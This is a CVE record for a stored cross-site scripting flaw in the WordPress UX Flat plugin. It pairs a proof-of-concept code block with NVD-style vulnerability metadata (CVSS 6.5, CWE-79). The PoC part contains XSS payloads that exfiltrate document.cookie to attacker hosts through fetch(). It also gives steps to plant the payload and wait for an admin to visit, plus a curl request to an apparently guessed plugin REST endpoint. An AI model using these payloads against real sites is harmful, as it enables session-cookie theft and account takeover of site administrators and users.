CVE-2026-24576

// CVE-2026-24576 Stored XSS PoC // Target: WordPress UX Flat Plugin <= 5.4.0 // PoC payload: <script>alert(document.cookie)</script> // Or more advanced: <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> // Example exploitation via WordPress REST API or plugin's form submission const payload = '<script>fetch(`https://attacker-controlled.com/log?cookie=${document.cookie}`)</script>'; // If the plugin has a frontend submission form: // 1. Submit the payload in any text input field // 2. Wait for admin or user to visit the affected page // 3. Cookie is sent to attacker's server // Example curl request to submit payload (if API accessible): // curl -X POST 'https://target.com/wp-json/ux-flat/v1/submit' \ // -H 'Content-Type: application/json' \ // -d '{"input_field": "<script>alert(document.cookie)</script>"}'

{"cve": {"id": "CVE-2026-24576", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:15.347", "lastModified": "2026-04-28T15:16:15.960", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in COP UX Flat ux-flat allows Stored XSS.This issue affects UX Flat: from n/a through <= 5.4.0."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en COP UX Flat ux-flat permite XSS Almacenado. Este problema afecta a UX Flat: desde n/a hasta &lt;= 5.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ux-flat/vulnerability/wordpress-ux-flat-plugin-5-4-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}